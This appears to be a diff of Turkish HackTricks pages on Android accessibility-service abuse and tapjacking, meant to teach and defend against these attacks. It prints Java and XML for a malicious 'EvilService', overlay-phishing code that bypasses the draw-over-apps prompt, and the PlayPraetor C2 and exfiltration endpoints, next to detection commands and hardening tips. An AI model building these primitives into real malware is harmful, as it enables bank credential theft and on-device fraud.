# Android Erişilebilirlik Servisi İstismarı
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
`AccessibilityService`, engelli kullanıcıların Android cihazlarla etkileşimde bulunmalarına yardımcı olmak için oluşturulmuştur. Ne yazık ki, aynı **güçlü otomasyon API'leri** (küresel navigasyon, metin girişi, hareket dağıtımı, üst katman pencereleri…) kötü amaçlı yazılımlar tarafından _root ayrıcalıkları olmadan_ cihazın **tam uzaktan kontrolünü** ele geçirmek için silahlandırılabilir.
|
||||
|
||||
Modern Android bankacılık Trojanları ve Uzaktan Erişim Trojanları (RAT'lar) **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** gibi birçok diğerleri aynı tarife uymaktadır:
|
||||
|
||||
1. Kurbanı, kötü niyetli bir erişilebilirlik hizmetini etkinleştirmeye ikna etmek ( *BIND_ACCESSIBILITY_SERVICE* izni "yüksek riskli" olarak kabul edilir ve açık bir kullanıcı eylemi gerektirir).
|
||||
2. Hizmeti kullanarak
|
||||
* ekranda görünen her UI olayını ve metni yakalamak,
|
||||
* operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (`dispatchGesture`) ve küresel eylemler (`performGlobalAction`) enjekte etmek,
|
||||
* **TYPE_ACCESSIBILITY_OVERLAY** pencere türünü kullanarak meşru uygulamaların üstünde tam ekran üst katmanlar çizmek (hiçbir `SYSTEM_ALERT_WINDOW` istemi yok!),
|
||||
* kurbanın adına sistem diyaloglarına tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
|
||||
3. Kullanıcı normal bir ekranı izlerken verileri dışarı sızdırmak veya **Cihaz İçi Dolandırıcılık (ODF)** gerçekleştirmek.
|
||||
|
||||
---
|
||||
|
||||
## İzni Talep Etme
|
||||
```xml
|
||||
<!-- AndroidManifest.xml -->
|
||||
<service
|
||||
android:name="com.evil.rat.EvilService"
|
||||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||||
android:exported="false">
|
||||
|
||||
<intent-filter>
|
||||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||||
</intent-filter>
|
||||
|
||||
<meta-data android:name="android.accessibilityservice"
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
Eşlik eden XML, sahte diyalogun nasıl görüneceğini tanımlar:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:description="@string/service_description"
|
||||
android:accessibilityEventTypes="typeAllMask"
|
||||
android:accessibilityFeedbackType="feedbackGeneric"
|
||||
android:notificationTimeout="200"
|
||||
android:canPerformGestures="true"
|
||||
android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## Uzaktan UI otomasyon ilkeleri
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||||
// harvest text or detect foreground app change
|
||||
}
|
||||
|
||||
// Simulate HOME / BACK / RECENTS …
|
||||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||||
|
||||
// Generic tap / swipe
|
||||
public void tap(float x, float y) {
|
||||
Path p = new Path(); p.moveTo(x, y);
|
||||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||||
}
|
||||
}
|
||||
```
|
||||
Sadece bu iki API ile bir saldırgan şunları yapabilir:
|
||||
* Ekranı kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
|
||||
* Açılan her izin penceresini kabul etmek.
|
||||
* Play Store niyeti aracılığıyla ek APK'lar yüklemek/güncellemek.
|
||||
|
||||
---
|
||||
|
||||
## Kötüye Kullanım Desenleri
|
||||
|
||||
### 1. Overlay Phishing (Kimlik Bilgisi Toplama)
|
||||
Şeffaf veya opak bir `WebView` pencere yöneticisine eklenir:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
MATCH_PARENT, MATCH_PARENT,
|
||||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
|
||||
|
||||
> Detaylı örnek: *Erişilebilirlik Overlay Phishing* bölümü Tapjacking sayfasında.
|
||||
|
||||
### 2. Cihaz İçi Dolandırıcılık otomasyonu
|
||||
**PlayPraetor** gibi kötü amaçlı yazılım aileleri, operatörün yüksek seviyeli komutlar (`init`, `update`, `alert_arr`, `report_list`, …) verebileceği sürekli bir WebSocket kanalı sürdürür. Servis, bu komutları yukarıdaki düşük seviyeli hareketlere çevirerek, o cihaza bağlı çok faktörlü kimlik doğrulamayı kolayca aşan gerçek zamanlı yetkisiz işlemler gerçekleştirir.
|
||||
|
||||
### 3. Ekran akışı ve izleme
|
||||
**MediaProjection API**'sini bir RTMP istemci kütüphanesi ile birleştirerek, RAT canlı framebuffer'ı `rtmp://<c2>:1935/live/<device_id>` adresine yayınlayabilir, bu da düşmana Erişilebilirlik motoru UI'yi yönlendirirken mükemmel bir durum farkındalığı sağlar.
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – komut ve kontrol iş akışı
|
||||
|
||||
1. **HTTP(S) kalp atışı** – bir alan adı `POST /app/searchPackageName` ile aktif C2 yanıt verene kadar sabit kodlu bir liste üzerinde yineleme yapın.
|
||||
2. **WebSocket (port 8282)** – iki yönlü JSON komutları:
|
||||
* `update` – yeni konfigürasyon/APK'ları gönder
|
||||
* `alert_arr` – overlay şablonlarını yapılandır
|
||||
* `report_list` – hedeflenen paket adlarının listesini gönder
|
||||
* `heartbeat_web` – canlı tut
|
||||
3. **RTMP (port 1935)** – canlı ekran/video akışı.
|
||||
4. **REST dışa aktarma** –
|
||||
* `/app/saveDevice` (parmak izi)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd` (banka kimlik bilgileri)
|
||||
|
||||
**AccessibilityService**, bu bulut komutlarını fiziksel etkileşimlere dönüştüren yerel motordur.
|
||||
|
||||
---
|
||||
|
||||
## Kötü niyetli erişilebilirlik hizmetlerini tespit etme
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* Ayarlar → Erişilebilirlik → *İndirilen hizmetler* – Google Play'den **olmayan** uygulamaları arayın.
|
||||
* MDM / EMM çözümleri, yüklenmiş hizmetleri engellemek için `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) uygulayabilir.
|
||||
* Çalışan hizmetleri analiz edin:
|
||||
```bash
|
||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Uygulama geliştiricileri için güçlendirme önerileri
|
||||
|
||||
* Hassas görünümleri `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` ile işaretleyin (API 34+).
|
||||
* Tap/overlay kaçırmayı önlemek için `setFilterTouchesWhenObscured(true)` ile `FLAG_SECURE`'ı birleştirin.
|
||||
* `WindowManager.getDefaultDisplay().getFlags()` veya `ViewRootImpl` API'sini sorgulayarak overlay'leri tespit edin.
|
||||
* `Settings.canDrawOverlays()` **veya** güvenilmeyen bir Erişilebilirlik hizmeti aktif olduğunda çalışmayı reddedin.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
* [PlayPraetor’ın gelişen tehdidi: Çince konuşan aktörlerin global ölçekte bir Android RAT'ı nasıl ölçeklendirdiği](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android erişilebilirlik belgeleri – UI etkileşimini otomatikleştirme](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu sırada etkileşim kurban uygulamaya iletilir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu esnada etkileşim kurban uygulamaya iletilmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
### Tespit
|
||||
|
||||
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için, android manifestinde **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter ile bir aktivitenin varsayılan olarak otomatik olarak dışa aktarıldığını unutmayın). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerektirip gerektirmediğini kontrol edin**. Bunun nedeni, **kötü niyetli uygulamanın da o izne ihtiyaç duymasıdır**.
|
||||
|
||||
Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidManifest.xml`** dosyasındaki **`android:minSdkVersion`** değerine bakarak. Değer **30'dan düşükse**, uygulama Tapjacking'e karşı savunmasızdır.
|
||||
Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidManifest.xml`** dosyasında **`android:minSdkVersion`** değerine bakarak. Değer **30'dan düşükse**, uygulama Tapjacking'e karşı savunmasızdır.
|
||||
|
||||
### Koruma
|
||||
|
||||
@ -21,7 +21,7 @@ Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidM
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir başka pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan aktivitesinden önce çağırma) bulabilirsiniz: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (ve saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağrılan) uygulama şu adreste bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
**Kullanmak için README talimatlarını** takip edin.
|
||||
|
||||
@ -50,26 +50,26 @@ En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren
|
||||
### Qark
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünüyor.
|
||||
> Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünmektedir.
|
||||
|
||||
Kötü niyetli bir uygulama oluşturmak için [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz, `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile olası **Tapjacking** zafiyetlerini test etmek için.\
|
||||
|
||||
Zafiyetin giderilmesi oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
|
||||
|
||||
> Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün niyet edilen amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için sahtecilik yapmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
> Bazen bir uygulamanın, bir izin isteği verme, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün amaçlanan amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için kullanıcıyı kandırmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
>
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları atlayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır.
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünüm tarafından kaplandığında alınan dokunmaları atlayacaktır. Sonuç olarak, görünüm, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde dokunmaları almayacaktır.
|
||||
|
||||
---
|
||||
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
Klasik Tapjacking'in yanı sıra, modern Android bankacılık kötü amaçlı yazılım aileleri (örneğin, **ToxicPanda**, BrasDex, Sova, vb.) **Erişilebilirlik Hizmeti**'ni kötüye kullanarak meşru uygulamanın üzerine tam ekran bir WebView **kaplaması** yerleştirir ve hala **kullanıcı girişini** alttaki görünüme iletebilir. Bu, inandırıcılığı dramatik şekilde artırır ve saldırganların kimlik bilgilerini, OTP'leri çalmasına veya hatta dolandırıcılık işlemlerini otomatikleştirmesine olanak tanır.
|
||||
Klasik Tapjacking'in yanı sıra, modern Android bankacılık kötü amaçlı yazılım aileleri (örneğin, **ToxicPanda**, BrasDex, Sova, vb.) **Erişilebilirlik Hizmeti**'ni kötüye kullanarak, meşru uygulamanın üzerine tam ekran bir WebView **overlay** yerleştirirken, kullanıcı girişini alttaki görünüme **iletme** yeteneğine sahip olurlar. Bu, inandırıcılığı dramatik şekilde artırır ve saldırganların kimlik bilgilerini, OTP'leri çalmasına veya hatta dolandırıcılık işlemlerini otomatikleştirmesine olanak tanır.
|
||||
|
||||
### Nasıl çalışır
|
||||
1. Kötü niyetli APK, genellikle sahte bir Google/Chrome/PDF görüntüleyici diyalogunun arkasında gizlenen son derece hassas `BIND_ACCESSIBILITY_SERVICE` iznini talep eder.
|
||||
2. Kullanıcı hizmeti etkinleştirdiğinde, kötü amaçlı yazılım programatik olarak ek tehlikeli izinleri vermek için gereken dokunuşları simüle eder (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Bir **WebView** şişirilir ve **`TYPE_ACCESSIBILITY_OVERLAY`** pencere türü kullanılarak pencere yöneticisine eklenir. Kaplama tamamen opak veya yarı saydam olarak render edilebilir ve orijinal dokunuşların arka plan aktivitesine hala iletilmesi için *“içinden”* olarak işaretlenebilir (böylece işlem gerçekten gerçekleşirken kurban yalnızca phishing formunu görür).
|
||||
2. Kullanıcı hizmeti etkinleştirdiğinde, kötü amaçlı yazılım, ek tehlikeli izinleri vermek için gereken dokunuşları programatik olarak simüle eder (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Bir **WebView** şişirilir ve **`TYPE_ACCESSIBILITY_OVERLAY`** pencere türü kullanılarak pencere yöneticisine eklenir. Overlay tamamen opak veya yarı saydam olarak render edilebilir ve orijinal dokunuşların arka plandaki aktiviteye hala iletilmesi için *“geçiş”* olarak işaretlenebilir (bu nedenle işlem gerçekten gerçekleşirken kurban yalnızca phishing formunu görür).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -87,12 +87,12 @@ wm.addView(phishingView, lp);
|
||||
```
|
||||
### Tipik bankacılık Trojanları tarafından kullanılan iş akışı
|
||||
* Hangi bankacılık / cüzdan uygulamasının şu anda açık olduğunu belirlemek için yüklü paketleri sorgulayın (`QUERY_ALL_PACKAGES`).
|
||||
* O belirli uygulamayı mükemmel bir şekilde taklit eden bir **HTML/JS overlay şablonu** C2'den indirin (Logo, renkler, i18n dizeleri…).
|
||||
* Overlay'i gösterin, kimlik bilgilerini/PIN'i/deseni toplayın.
|
||||
* O belirli uygulamayı mükemmel bir şekilde taklit eden bir **HTML/JS kaplama şablonu** C2'den indirin (Logo, renkler, i18n dizeleri…).
|
||||
* Kaplamayı gösterin, kimlik bilgilerini/PIN'i/deseni toplayın.
|
||||
* Arka planda transferleri otomatikleştirmek için **Erişilebilirlik API'sini** (`performGlobalAction`, `GestureDescription`) kullanın.
|
||||
|
||||
### Tespit ve Azaltma
|
||||
* Yüklü uygulama listesini `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE` ile denetleyin.
|
||||
* Yüklü uygulamaların listesini `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE` ile denetleyin.
|
||||
* Uygulama tarafında (banka / cüzdan):
|
||||
- Hassas görünümler için **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) etkinleştirin, böylece Play Store dışındaki hizmetleri engelleyin.
|
||||
- `setFilterTouchesWhenObscured(true)` ve `FLAG_SECURE` ile birleştirin.
|
||||
@ -100,6 +100,12 @@ wm.addView(phishingView, lp);
|
||||
- *Bilinmeyen Kaynaklardan Yükleme* ve *Güvenilmeyen uygulamalar için Erişilebilirlik* seçeneklerini devre dışı bırakın.
|
||||
- PlayProtect'i zorlayın ve güncel cihazlar kullanın.
|
||||
|
||||
Tam uzaktan cihaz kontrolü için Erişilebilirlik Hizmetlerini kullanma hakkında ek bilgiler için (örneğin, PlayPraetor, SpyNote, vb.) bakın:
|
||||
|
||||
{{#ref}}
|
||||
accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user